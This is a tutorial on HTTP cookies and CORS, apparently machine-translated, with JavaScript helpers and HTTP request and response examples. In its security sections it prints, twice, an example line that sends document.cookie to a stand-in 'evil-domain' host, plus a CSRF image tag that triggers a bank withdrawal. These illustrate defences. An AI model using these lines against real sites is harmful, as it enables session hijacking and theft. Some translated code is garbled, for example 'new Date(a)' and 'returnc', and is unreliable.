Session state management (such as user login status, shopping cart, game score, or other information that needs to be logged)
Personalization (such as user-defined Settings, themes, etc.)
Browser behavior tracking (e.g. tracking and analyzing user behavior, etc.)

Cookies were once used to store data on the client side. As there was no other suitable storage method at that time, cookies were used as the only storage method. However, as modern browsers began to support a variety of storage methods, cookies gradually fell into disuse. Since the Cookie is specified by the server, each browser request carries the Cookie data, incurring additional performance overhead (especially in a mobile environment). New browser apis already allow developers to store data directly locally, such as using the Web Storage API (local and session storage) or IndexedDB.

To view Cookie Storage (or other Storage options available on web pages), you can enable Storage Inspector in developer Tools and select cookies in the Storage tree.

Create a Cookie 🏳 ️ 🌈

When the server receives an HTTP request, it can add a set-cookie option to the response header. After receiving the response, the browser usually saves the Cookie and sends the Cookie information to the server through the Cookie request header in each subsequent request to the server. In addition, Cookie expiration time, domain, path, expiration date, and applicable site can be specified as required.

Set-cookie response headers and Cookie request headers

The server sends Cookie information to the user agent (typically a browser) using the set-cookie response header. A simple Cookie might look like this:

Set-cookie: < Cookie name >=< Cookie value >Copy the code

The server uses this header to tell the client to save the Cookie information.

HTTP/1.0 200 OK Content-type: text/ HTML set-cookie: yummy_cookie=choco set-cookie: tasty_cookie=strawberry [查 看 论 文]Copy the code

Now, with each new request to the server, the browser sends the previously saved Cookie information back to the server via the Cookie request header.

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
Copy the code

Tip: How to Set set-cookie response headers in the following server programs:

PHP Node.JS Python Ruby on Rails

Define the Cookie lifecycle

The Cookie lifecycle can be defined in two ways:

A session Cookie is the simplest Cookie: it is automatically deleted after the browser is closed, meaning it is only valid for the session. Session cookies do not need to specify an expiration date (Expires) or an expiration date (max-age). Note that some browsers provide session recovery, in which case session cookies are retained even after the browser is closed, as if the browser had never been closed, resulting in Cookie life extending indefinitely.
The lifetime of a persistent Cookie depends on an expiration time (Expires) or a period of time specified by a max-age.

Such as:

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Copy the code

Tip: When Cookie expiration is set, the date and time are only relevant to the client, not the server.

If your site authenticates users, it should regenerate and resend session cookies, even those that already exist, every time the user authenticates. This technique helps prevent session fixation attacks, in which a user’s session can be reused by a third party.

Restricting access to cookies

There are two ways to ensure that cookies are sent securely and not accessed by unexpected actors or scripts: the Secure property and the HttpOnly property.

Cookies marked Secure should only be sent to the server through requests that are encrypted by THE HTTPS protocol, thus preventing attacks by man-in-the-middle attackers. But even if Secure flags are set, sensitive information should not be transmitted through cookies because cookies are inherently insecure and Secure flags do not provide a real guarantee of security, for example, that someone with access to a client’s hard drive can read it.

As of Chrome 52 and Firefox 52, insecure sites (HTTP 🙂 cannot use the Secure flag of cookies.

JavaScript Document.cookie API cannot access cookies with HttpOnly attributes; This type of Cookie applies only to the server. For example, cookies for persistent server-side sessions do not need to be available to JavaScript, but should have an HttpOnly attribute. This precaution helps mitigate cross-site scripting (XSS) attacks.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Copy the code

Cookie scope

The Domain and Path identifiers define the scope of the Cookie: the urls to which the Cookie should be allowed to be sent.

Domain properties

Domain specifies which hosts can accept cookies. If this parameter is not specified, the default value is Origin and the subdomain name is not included. If Domain is specified, subdomain names are generally included. Therefore, specifying the Domain is less restrictive than omitting it. However, this can be helpful when subdomains need to share information about users.

For example, if you set Domain=mozilla.org, cookies are also included in the subdomain (e.g. Developer.mozilla.org).

Most browsers currently follow RFC 6265 and do not need to add a leading dot when setting a Domain. If the browser does not comply with this specification, add a preceding dot, for example, Domain=.mozilla.org

Path properties

The Path identifier specifies which paths under the host can accept cookies (the URL Path must exist in the request URL). Child paths are also matched with the character %x2F (“/”) as the path separator.

For example, if Path=/docs is set, the following addresses will match:

/docs
/docs/Web/
/docs/Web/HTTP

SameSite attribute

The SameSite Cookie allows the server to prevent cross-site request forgery attacks (CSRF) by requiring that a Cookie, where Site (en-US) is defined by a registriable domain, not be sent during a cross-site request.

SameSite cookies are a relatively new field that is already supported by all major browsers.

Here’s an example:

Set-Cookie: key=value; SameSite=Strict
Copy the code

SameSite can have the following three values:

None. Browsers continue to send cookies under same-site and cross-site requests, case insensitive.
Strict. The browser will only send cookies when visiting the same site. (Strengthening of restrictions on existing Cookies, as described in “scope of Cookies” above)
Lax. Similar to Strict, except when the user navigates to a URL from an external site (for example, via a link). In newer browsers, same-site cookies will be reserved as the default for cross-site sub-requests, such as image loads or calls to frames, but will only be sent when the user navigates to a URL from an external site. If the link link

Previously, if the SameSite property was not set or not supported by the running browser, it behaved like None, and Cookies were included in any request — including cross-site requests.

Most major browsers are migrating the SameSite defaults to Lax. If you want to specify that Cookies are sent on both same-site and cross-site requests, you now need to explicitly specify SameSite to None.

Cookie prefixes

The cookie mechanism makes it impossible for the server to confirm that the cookie was set on a secure source, or even where the cookie was originally set.

A vulnerable application on a subdomain can use the Domain attribute to set the cookie so that it can access that cookie on all other subdomains. This mechanism can be abused in session fixation attacks. For primary mitigation, see Session fixation.

However, as a defense in depth, you can use cookie prefixes to assert specific facts about cookies. There are two prefixes available:

__Host-

If the cookie name has this prefix, it is accepted in the set-cookie header only if it is also marked with a Secure attribute, sent from a Secure source, excluding the Domain attribute, and the Path attribute is Set to /. In this way, these cookies can be treated as “domain-locked.”

__Secure-

If the cookie name has this prefix, it is accepted in the set-cookie header only if it is also marked with the Secure attribute and sent from a Secure source. This prefix is less restrictive than the __Host- prefix.

Cookies with these prefix dots will be rejected by the browser if they do not meet their limitations. Note that this ensures that if a subdomain creates a cookie with a prefix, it will either be limited to that subdomain or ignored entirely. Because the application server checks specific cookie names only to determine whether the user is authenticated or the CSRF token is correct, this effectively acts as a defense against session hijacking.

On the application server, the Web application must check the complete cookie name, including the prefix — the user agent does not strip the prefix from the cookie before sending it from the cookie header of the request.

For more information about cookie Prefixes and the current state of browser support, see Prefixes Section of the Set-Cookie Reference article.

JavaScript accesses cookies through document.cookie

New cookies can be created through the document. cookie property, and cookies that are not HttpOnly tagged can be accessed through this property.

document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"
Copy the code

Cookies created through JavaScript cannot contain the HttpOnly flag.

Be aware of the security implications mentioned in the security section that JavaScript can steal cookies through cross-site scripting attacks (XSS).

🏳 ️ 🌈 security

When information is stored in a Cookie, it is necessary to understand that the value of the Cookie can be accessed and modified by the end user. Depending on your application, you may need to use opaque identifiers that the server looks up, or explore alternative authentication/confidentiality mechanisms such as JSON Web Tokens.

When the machine is in an insecure environment, do not store or transmit sensitive information through HTTP cookies.

Ways to mitigate attacks involving cookies:

Use the HttpOnly attribute to prevent access to cookie values through JavaScript.
Cookies for sensitive information, such as indicating authentication, should have a short lifetime and the SameSite property set to Strict or Lax. (See the SameSite Cookie above.) In browsers that support SameSite, the effect of this is to ensure that authentication cookies are not sent with cross-domain requests, so that the request is not actually authenticated to the application server.

Session hijacking and XSS

In Web applications, cookies are often used to tag users or authorize sessions. Therefore, if the cookies of Web applications are stolen, the sessions of authorized users may be attacked. Common methods of stealing cookies include social engineering attacks and XSS (En-US) attacks that exploit application vulnerabilities.

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
Copy the code

Cookies of the HttpOnly type are used to mitigate some of these attacks by preventing JavaScript from accessing them.

Cross-site Request Forgery (CSRF)

Wikipedia already gives a good example of CSRF. An image in an insecure chat room or forum, for example, is actually a request to your bank’s server to withdraw cash:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
Copy the code

When you open an HTML page containing this image, if you have logged into your bank account and the Cookie is still valid (no other verification steps have been taken), your bank money will most likely be transferred automatically. There are ways to prevent this from happening:

Filtering user input to block XSS (EN-US);
Any sensitive operation requires confirmation;
Cookies for sensitive information can only have a short lifetime;
For more information, see the OWASP CSRF Prevention Cheat Sheet.

🏳️🌈 Tracking and privacy

Third party cookies

Cookies are associated with domains. If the domain is the same as the one on the page you are on, the cookie is called a first-party cookie. If the domain is different, it is a third-party cookie. When a server hosting a Web page sets first-party cookies, the page may contain images or other components (for example, advertising banners) stored on servers in other domains that may set third-party cookies. These are mainly used for advertising and tracking on the web.

For example, types of cookies used by Google. Third-party servers can build profiles of users’ browsing history and habits based on cookies sent to them by the same browser when visiting multiple sites. Firefox, by default, blocks third-party cookies that are known to contain trackers. Third-party cookies (or tracking cookies only) may also be blocked by other browser Settings or extensions. Blocking cookies can cause some third-party components, such as social media widgets, to not function properly.

If you do not disclose the use of third-party cookies on your site, your users’ trust in you may be affected if they are discovered. A clear statement, such as one in a privacy policy, can reduce or eliminate these negative effects. In some countries, there are already laws on cookies. You can see the Cookie statement on Wikipedia for example.

Cookie related Provisions

Laws or regulations relating to the use of cookies include:

Eu General Data Privacy Regulation (GDPR)
Privacy Directive of the European Union
California Consumer Privacy Act

These rules have global impact as they apply to any site on the World Wide Web visited by users in these jurisdictions (eu and California), but note that California’s laws only apply to entities with gross revenues over $25 million for other matters.)

These regulations include the following requirements:

Indicate to users that your site uses cookies.
Allows the user to opt out of receiving some or all cookies.
Allows users to use most services without receiving cookies.

Other regulations may exist to govern cookies in your local area. It is your responsibility to understand and comply with these regulations. Some companies provide “cookie banner” codes to help you comply with these regulations.

The latest national laws and more accurate information can be found on Wikipedia.

Do Not Track

DNT is not legally or technically required, but it tells Web applications not to track user behavior or cross-site tracking. Check DNT for more information.

Eu Cookie Directive

With regard to cookies, the European Union has already made relevant requirements in Directive 2009/136/EC, which came into force on 25 May 2011. Although the directive is not a law, it requires eu member states to enact relevant laws to meet the requirements of the directive. Of course, the actual legislation varies from country to country.

Websites are not allowed to store or retrieve any information on computers, mobile phones or other devices without obtaining the user’s consent. Since then, many sites have added instructions to their website announcements telling users where their cookies will be used.

Zombie cookies and undeleted cookies

An extreme use of cookies is zombie cookies (or “undeletable cookies”), which are difficult to delete and can even be rebuilt automatically. These technologies violate the principles of user privacy and user control, may violate data privacy regulations, and may expose websites that use them to legal liability. They are generally achieved using Web storage apis, Flash local shared objects, or other technical means. Related content can be seen:

Evercookie by Samy Kamkar
Check out zombie cookies on Wikipedia

🥝 cookies,

What is a Cookie?

A Cookie is some data stored in a text file on your computer.

When the Web server sends a Web page to the browser, the server does not record the user’s information after the connection is closed.

The purpose of cookies is to solve the problem of “how to record user information on the client “:

When a user visits a Web page, his name can be recorded in a cookie.
The user’s access record can be read in the cookie the next time the user visits the page.

Cookies are stored as name/value pairs, as follows:

username=John Doe
Copy the code

When a browser requests a Web page from a server, cookies belonging to that page are added to the request. The server obtains user information in this way.

Use JavaScript to create cookies

JavaScript can create, read, and delete cookies using the document.cookie property.

In JavaScript, create a cookie like this:

document.cookie="username=John Doe";
Copy the code

You can also add an expiration time (in UTC or GMT time) to the cookie. By default, cookies are deleted when the browser is closed:

document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT";
Copy the code

You can use the path parameter to tell the browser the path of the cookie. By default, cookies belong to the current page.

document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT; path=/";
Copy the code

Use JavaScript to read cookies

In JavaScript, you can use the following code to read cookies:

var x = document.cookie;
Copy the code

Document. Cookie returns all cookies as strings of type: cookie1=value; cookie2=value; cookie3=value;

Use JavaScript to modify cookies

In JavaScript, modifying a cookie is similar to creating a cookie, as follows:

document.cookie="username=John Smith; expires=Thu, 18 Dec 2043 12:00:00 GMT; path=/";
Copy the code

Old cookies will be overwritten.

Use JavaScript to delete cookies

Deleting cookies is very simple. Simply set the Expires parameter to the previous time, as shown below. Set it to Thu, 01 Jan 1970 00:00:00 GMT:

document.cookie = “username=; expires=Thu, 01 Jan 1970 00:00:00 GMT”; Note that you do not have to specify the value of the cookie when deleting.

The Cookie string

The document.cookie property looks like a normal text string, but it isn’t.

Even if a complete cookie string is written to document.cookie, when the cookie information is re-read, the cookie information is presented as a name/value pair.

If a new cookie is set, the old cookie will not be overwritten. The new cookie will be added to document.cookie, so if you re-read document.cookie, you will get the following data:

cookie1=value; cookie2=value;

If you need to find a specified cookie value, you must create a JavaScript function to find the cookie value in the cookie string.

JavaScript Cookie instance

In the following example, cookies are created to store visitor names.

First, the visitor visits the Web page, where he will be asked to fill in his name. The name is stored in a cookie.

The next time a visitor visits the page, he sees a welcome message.

In this example we will create three JavaScript functions:

A function that sets the cookie value
A function that gets the cookie value
A function that detects cookie values

A function that sets the cookie value

First, we create a function to store the visitor’s name:

function setCookie(cname,cvalue,exdays)
{
  var d = new Date(a); d.setTime(d.getTime()+(exdays*24*60*60*1000));
  var expires = "expires="+d.toGMTString();
  document.cookie = cname + "=" + cvalue + "; " + expires;
}
Copy the code

Function parsing: In the above function parameters, the name of cookie is Cname, the value of cookie is cvalue, and the expiration time of cookie is set. This function sets the cookie name, cookie value, and cookie expiration time.

A function that gets the cookie value

We then create a function that returns the value of the specified cookie:

function getCookie(cname)
{
  var name = cname + "=";
  var ca = document.cookie.split('; ');
  for(var i=0; i<ca.length; i++) 
  {
    var c = ca[i].trim();
    if (c.indexOf(name)==0) return c.substring(name.length,c.length);
  }
  return "";
}
Copy the code

Cookie name takes cname. Creates a text variable to retrieve the specified cookie :cname + “=”.

Split the document.cookie string with a semicolon and assign the split array of strings to CA (ca = document.cookei.split (‘; ‘)). Loop ca array (I =0; i<ca.length; I ++), and then read each value in the array, removing the Spaces before and after (c=ca[I].trim()).

If cookie(C.indexof (name) == 0) is found, return the value of cookie(c.substring(name.length, c.Length). If no cookie is found, return “”.

Finally, we can create a function that checks whether a cookie has been created.

If a cookie is set, a greeting message is displayed.

If cookie is not set, a popup window will be displayed asking for the visitor’s name and the setCookie function will be called to store the visitor’s name for 365 days:

function checkCookie()
{
  var username=getCookie("username");
  if(username! ="")
  {
    alert("Welcome again " + username);
  }
  else 
  {
    username = prompt("Please enter your name:"."");
    if(username! =""&& username! =null)
    {
      setCookie("username",username,365); }}}Copy the code

A complete instance

function setCookie(cname,cvalue,exdays){
    var d = new Date(a); d.setTime(d.getTime()+(exdays*24*60*60*1000));
    var expires = "expires="+d.toGMTString();
    document.cookie = cname+"="+cvalue+"; "+expires;
}
function getCookie(cname){
    var name = cname + "=";
    var ca = document.cookie.split('; ');
    for(var i=0; i<ca.length; i++) {
        var c = ca[i].trim();
        if (c.indexOf(name)==0) { returnc.substring(name.length,c.length); }}return "";
}
function checkCookie(){
    var user=getCookie("username");
    if(user! =""){
        alert("Welcome" + user + "Visit again");
    }
    else {
        user = prompt("Please enter your name :"."");
          if(user! =""&& user! =null){
            setCookie("username",user,30); }}}Copy the code

🍍 document. cookie uses documents + run instances

Gets and sets the cookie associated with the current document. You can think of it as a getter and setter.

grammar

Read all cookies accessible from this location

allCookies = document.cookie;
Copy the code

In the code above, allCookies are assigned to a string containing allCookies, each Cookie beginning with a “semicolon and space (;). “Delimited (that is, key=value key-value pairs).

Write a newCookie document.cookie = newCookie;

NewCookie is a key-value pair string. Note that only one cookie can be set or updated at a time using this method.

The following optional cookie attribute values can be followed by key-value pairs to specify the setting/update of the cookie, separated by a semicolon:

; Path =path (e.g. ‘/’, ‘/mydir’) defaults to the path to the current document location if not defined.
; Domain =domain (e.g. ‘example.com’, ‘subdomain.example.com’) if not defined, defaults to the domain part of the path to the current document location. Contrary to the earlier specification, putting a. Character before a domain name will be ignored because browsers may refuse to set such cookies. If a field is specified, subfields are included.
; Max-age =max-age-in-seconds (for example, a year is 606024 * 365)
; Expires = date-in-gmtString-format If not defined, cookies will expire at the end of the conversation
; Secure (Cookies are transmitted only through HTTPS)

The cookie value string can be guaranteed to not contain any commas, semicolons, or Spaces with encodeURIComponent() (cookie values disallow these values).

Note: Prior to Gecko 6.0, quoted paths were treated as part of the path, not as delimiters. It has now been repaired.

The sample

Example 1: Simple usage

document.cookie = "name=oeschger"; document.cookie = "favorite_food=tripe"; alert(document.cookie); // Display: name=oeschger; favorite_food=tripeCopy the code

Example 2: Get a cookie named test2

document.cookie = "test1=Hello"; document.cookie = "test2=World"; var myCookie = document.cookie.replace(/(? : (? : ^ |. *; \s*)test2\s*\=\s*([^;] *). * $) | ^. * $/, "$1"); alert(myCookie); // Display: WorldCopy the code

Example 3: Perform something only once

To make the following code work, replace all someCookieName (the cookie’s name) with custom names.

if (document.cookie.replace(/(? : (? : ^ |. *; \s*)someCookieName\s*\=\s*([^;] *). * $) | ^. * $/, "$1")! == "true") { alert("Do something here!" ); document.cookie = "someCookieName=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/"; }}Copy the code

🍇 A small framework: a cookie reader/writer with full Unicode support

As a formatted string, the value of a cookie is sometimes difficult to process naturally. The purpose of the library below is to simplify obtaining document.cookies by defining a partially consistent object (docCookies) for Storage objects. It provides full Unicode support.

/*\ |*| |*| :: cookies.js :: |*| |*| A complete cookies reader/writer framework with full unicode support. |*| |*| https://developer.mozilla.org/en-US/docs/DOM/document.cookie |*| |*| This framework is released under the GNU Public License, version 3 or later. | | | * http://www.gnu.org/licenses/gpl-3.0-standalone.html * | | | * Syntaxes: |*| |*| * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]]) |*| * docCookies.getItem(name) |*| * docCookies.removeItem(name[, path], domain) |*| * docCookies.hasItem(name) |*| * docCookies.keys() |*| \*/ var docCookies = { getItem: function (sKey) { return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;) \\s*" + encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") + "\\s*\\=\\s*([^;] *).*$)|^.*$"), "$1")) || null; }, setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) { if (! sKey || /^(? :expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; } var sExpires = ""; if (vEnd) { switch (vEnd.constructor) { case Number: sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd; break; case String: sExpires = "; expires=" + vEnd; break; case Date: sExpires = "; expires=" + vEnd.toUTCString(); break; } } document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : ""); return true; }, removeItem: function (sKey, sPath, sDomain) { if (! sKey || ! this.hasItem(sKey)) { return false; } document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + ( sDomain ? "; domain=" + sDomain : "") + ( sPath ? "; path=" + sPath : ""); return true; }, hasItem: function (sKey) { return (new RegExp("(? : ^ |; \\s*)" + encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") + "\\s*\\=")).test(document.cookie); }, keys: /* optional method: you can safely remove it! */ function () { var aKeys = document.cookie.replace(/((? :^|\s*;) (= [^ \] +)? =; |$)|^\s*|\s*(? = : \ [^;] *)? (? :\1|$)/g, "").split(/\s*(? = : \ [^;] *)? ; \s*/); for (var nIdx = 0; nIdx < aKeys.length; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); } return aKeys; }};Copy the code

Note: For permanent cookies we use Fri, 31 Dec 9999 23:59:59 GMT as expiration date. If you don’t want to use this date, use doomsday Tue, 19 Jan 2038 03:14:07 GMT, It is a 32-bit signed integer to say since 1 January 1970 00:00:00 UTC’s second largest long (i.e., 01111111111111111111111111111111, is a new Date x7fffffff * 1 e3 (0)).

Write a cookie

grammar

docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
Copy the code

describe

Creates or overwrites a cookie

parameter

Name (required) The name (string) of the cookie to be created or overwritten.

Value (required) The value of the cookie (string).

End (optional) The maximum age in seconds (one year 31536E3, Infinity cookie), or the GMTString format or Date object with expiration time; If not defined it expires at the end of the session (number – finite or Infinity – string, Date object or NULL).

Path (optional) Such as ‘/’, ‘/mydir’. If not defined, the default is the path to the current document location. (string or null). The path must be an absolute path (see RFC 2965). See this paragraph for instructions on how to use relative paths in this parameter.

Domain (Optional) Example: ‘example.com’, ‘.example.com’ (including all subdomain names), ‘subdomain.example.com’. If not defined, defaults to the domain part (string or NULL) of the path to the current document location.

Secure (Optional) Cookies are only transmitted by HTTPS (Boolean or NULL).

Get a cookie

Grammar docCookies. The getItem (name)

Description Reads a cookie. Returns null if the cookie does not exist.

The parameter name reads the cookie name (string).

Remove the cookie

Grammar docCookies. RemoveItem (name [, path], domain)

Description Delete a cookie.

The parameter name is the name of the cookie to remove (string).

Detection of cookies

Grammar docCookies. HasItem (name)

Description Checks whether a cookie exists

The parameter name is the name of the cookie to check (string).

Gets a list of all cookies

Grammar docCookies. Keys ()

Returns an array of all readable cookies for this path.

Example usage:

docCookies.setItem("test0", "Hello world!" ); docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity); docCookies.setItem("test2", "Hello world!" , new Date(2020, 5, 12)); docCookies.setItem("test3", "Hello world!" , new Date(2027, 2, 3), "/blog"); docCookies.setItem("test4", "Hello world!" , "Sun, 06 Nov 2022 21:43:15 GMT"); docCookies.setItem("test5", "Hello world!" , "Tue, 06 Dec 2022 13:11:07 GMT", "/home"); docCookies.setItem("test6", "Hello world!" , 150); docCookies.setItem("test7", "Hello world!" , 245, "/content"); docCookies.setItem("test8", "Hello world!" , null, null, "example.com"); docCookies.setItem("test9", "Hello world!" , null, null, null, true); docCookies.setItem("test1; =", "Safe character test; =", Infinity); alert(docCookies.keys().join("\n")); alert(docCookies.getItem("test1")); alert(docCookies.getItem("test5")); docCookies.removeItem("test1"); docCookies.removeItem("test5", "/home"); alert(docCookies.getItem("test1")); alert(docCookies.getItem("test5")); alert(docCookies.getItem("unexistingCookie")); alert(docCookies.getItem()); alert(docCookies.getItem("test1; = "));Copy the code

🍏 security

Path restrictions do not prevent cookies from being accessed from other paths. The restrictions can be easily circumvent using simple DOM (for example, create a hidden iframe that points to the restricted path and then access its contentDocument.cookie property). The only way to protect a cookie from unauthorized access is to place it under another domain/subdomain and protect it from being read using the same origin policy.
Web applications typically use cookies to identify users and their login session. So by eavesdropping on these cookies, you can hijack a logged-in user’s session. Common methods of eavesdropping on cookies include social engineering and XSS attacks –

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
Copy the code

The HttpOnly attribute prevents cookies from being accessed through javascript, thereby preventing such attacks to some extent

🥭 Cross-source Resource Sharing (CORS)

Cross-source resource sharing (CORS) (or more popularly known as cross-domain resource sharing) is an HTTP header based mechanism that allows a server to identify other origins (domains, protocols and ports) besides its own, so that browsers can access and load those resources. Cross-source resource sharing also checks whether the server will allow a real request to be sent by issuing a “pre-check” request via the browser to a server-hosted cross-source resource. In precheck, the browser sends headers that are identified with HTTP methods and those that will be used in real requests.

An example of a cross-source HTTP request: JavaScript code running on Domain-a.com uses XMLHttpRequest to initiate a request to domain-b.com/data.json.

For security, browsers restrict cross-source HTTP requests that can be made within a script. For example, the XMLHttpRequest and Fetch apis follow the same origin policy. This means that Web applications using these apis can only request HTTP resources from the same domain that loaded the application, unless the response message contains the correct CORS response header.

The Cross-source domain resource sharing (CORS) mechanism allows Web application servers to control cross-source access to secure cross-source data transfer. Modern browsers support the use of CORS in API containers, such as XMLHttpRequest or Fetch, to reduce the risk of cross-source HTTP requests.

🏳️🌈 Function overview

Cross-source resource sharing standards have added a new set of HTTP header fields that allow servers to declare which source sites have access to which resources through the browser. In addition, the specification requires that HTTP request methods (especially HTTP requests other than GET, or POST requests paired with certain MIME types) that may have adverse effects on server data, The browser must first issue a preflight request using the OPTIONS method to know if the server will allow the cross-source request. The actual HTTP request is made only after the server confirms that it is allowed. In the return of the precheck request, the server side can also inform the client whether it needs to carry identity credentials (including Cookies and HTTP authentication related data).

CORS request failures generate errors, but for security reasons, there is no way to know exactly what went wrong at the JavaScript code level. You can only look at your browser’s console to see exactly what went wrong.

The following sections discuss the scenarios and examine the HTTP header fields involved in this mechanism.

🏳️🌈 Several access control scenarios

Here, we use three scenarios to explain how the cross-source resource sharing mechanism works. These examples all use the XMLHttpRequest object.

This paper from the JavaScript code fragments can be arunranga.com/examples/ac… To obtain. Also, access the address with a browser that supports cross-source XMLHttpRequest, and you can see the code actually run.

A simple request

Some requests do not trigger CORS precheck requests. This article refers to such a request as a “simple request,” noting that the term is not part of the Fetch (where CORS is defined) specification. A request is considered a “simple request” if all of the following conditions are met:

Use one of the following methods:

GET
HEAD
POST

Except for header fields that are automatically set by the User Agent (for example, Connection, user-agent) and other headers that are defined in the Fetch specification to disable header names, fields that are allowed to be set artificially are the set of CORS safe header fields defined by the Fetch specification. The set is:

Accept
Accept-Language
Content-Language
Content-type (Additional restrictions need to be noted)
DPR
Downlink
Save-Data
Viewport-Width
Width

The value of the content-type is limited to one of the following:

text/plain
multipart/form-data
application/x-www-form-urlencoded

None of the XMLHttpRequestUpload objects in the request have any event listeners registered; The XMLHttpRequestUpload object can be accessed using the xmlHttprequest.upload attribute.

No ReadableStream object is used in the request.

Note: These cross-site requests are no different from any other cross-site requests made by the browser. If the server does not return the correct response header, the requester will not receive any data. Therefore, web sites that do not allow cross-site requests need not worry about this new HTTP access control feature.

For example, let’s say the web application at foo.example wants to access bar.other’s resources. Foo. example’s page might contain JavaScript code similar to the following:

var invocation = new XMLHttpRequest(); var url = 'http://bar.other/resources/public-data/'; function callOtherDomain() { if(invocation) { invocation.open('GET', url, true); invocation.onreadystatechange = handler; invocation.send(); }}Copy the code

CORS header fields are used between client and server to handle permissions:

View request and response messages respectively:

GET /resources/public-data/ HTTP/1.1 Host: bar.other user-agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; The rv: 1.9.1 b3pre) Gecko / 20081130 Minefield / 3.1 b3pre Accept: text/HTML, application/XHTML + XML, application/XML. Q = 0.9 * / *; Q = 0.8 Accept - Language: en - us, en. Q =0.5 Accept-encoding: Gzip, Deflate Accept-Charset: ISO-8859-1, UTF-8; Q = 0.7 *; Q = 0.7 Connection: keep - the alive Referer: http://foo.example/examples/access-control/simpleXSInvocation.html Origin: http://foo.example HTTP/1.1 200 OK Date: Mon, 01 Dec 2008 00:23:53 GMT Server: Apache/2.0.61 access-Control-allow-Origin: * keep-alive: timeout=2, Max =100 Connection: keep-alive transfer-encoding: chunked Content-Type: application/xml [XML Data]Copy the code

Lines 1 through 10 are the request header. The Origin field at the head of the request on line 10 indicates that the request came from foo.example.

Lines 13 to 22 are the server response from bar.other. The response carries the response header field access-Control-Allow-Origin (line 16). Use Origin and access-Control-Allow-Origin to do the simplest Access Control. In this case, the access-Control-allow-Origin: * returned by the server indicates that the resource can be accessed by any external domain. If the server only allows access from foo.example, the header field would look like this:

Access-Control-Allow-Origin: http://foo.example
Copy the code

Now, the resource is not accessible to any outer domain except foo.example (this policy is defined by the ORIGIN field in the request header, see line 10). Access-control-allow-origin should be * or contain the domain name specified by the Origin header field.

Preview the request

Unlike the simple request described above, “Requests to Precheck” requires that you first make a precheck request to the server using the OPTIONS method to know whether the server will allow the actual request. The use of precheck requests prevents cross-domain requests from having unexpected impacts on the server’s user data.

Here is an HTTP request that needs to perform a precheck request:

var invocation = new XMLHttpRequest();
var url = 'http://bar.other/resources/post-here/';
var body = '
      <person><name>Arun</name></person>'; function callOtherDomain(){ if(invocation) { invocation.open('POST', url, true); invocation.setRequestHeader('X-PINGOTHER', 'pingpong'); invocation.setRequestHeader('Content-Type', 'application/xml'); invocation.onreadystatechange = handler; invocation.send(body); }}...Copy the code

The above code sends an XML document using a POST request that contains a custom request-head field (X-pingother: Pingpong). Also, the content-type of the request is Application/XML. Therefore, the request needs to initiate a “precheck request” first.

OPTIONS /resources/post-here/ HTTP/1.1 Host: bar.other User-agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; The rv: 1.9.1 b3pre) Gecko / 20081130 Minefield / 3.1 b3pre Accept: text/HTML, application/XHTML + XML, application/XML. Q = 0.9 * / *; Q = 0.8 Accept - Language: en - us, en. Q =0.5 Accept-encoding: Gzip, Deflate Accept-Charset: ISO-8859-1, UTF-8; Q = 0.7 *; Q =0.7 Connection: keep-alive Origin: http://foo.example access-Control-request-method: POST access-Control-request-headers: x-pingother, content-type HTTP/1.1 200 OK Date: Mon, 01 Dec 2008 01:15:39 GMT Server: Apache/2.0.61 (Unix) Access-Control-allow-Origin: http://foo.example Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: X-PINGOTHER, Content-Type Access-Control-Max-Age: 86400 Vary: Accept-Encoding, Origin Content-Encoding: gzip Content-Length: 0 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Content-Type: text/plainCopy the code

After the precheck request is complete, send the actual request:

Other user-agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; The rv: 1.9.1 b3pre) Gecko / 20081130 Minefield / 3.1 b3pre Accept: text/HTML, application/XHTML + XML, application/XML. Q = 0.9 * / *; Q = 0.8 Accept - Language: en - us, en. Q =0.5 Accept-encoding: Gzip, Deflate Accept-Charset: ISO-8859-1, UTF-8; Q = 0.7 *; Q =0.7 Connection: keep-alive x-pingother: pingpong Content-Type: text/ XML; charset=UTF-8 Referer: http://foo.example/examples/preflightInvocation.html Content-Length: 55 Origin: http://foo.example Pragma: no-cache Cache-Control: no-cache
      <person><name>Arun</name></person>

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:40 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://foo.example
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
Content-Length: 235
Keep-Alive: timeout=2, max=99
Connection: Keep-Alive
Content-Type: text/plain

[Some GZIP'd payload]
Copy the code

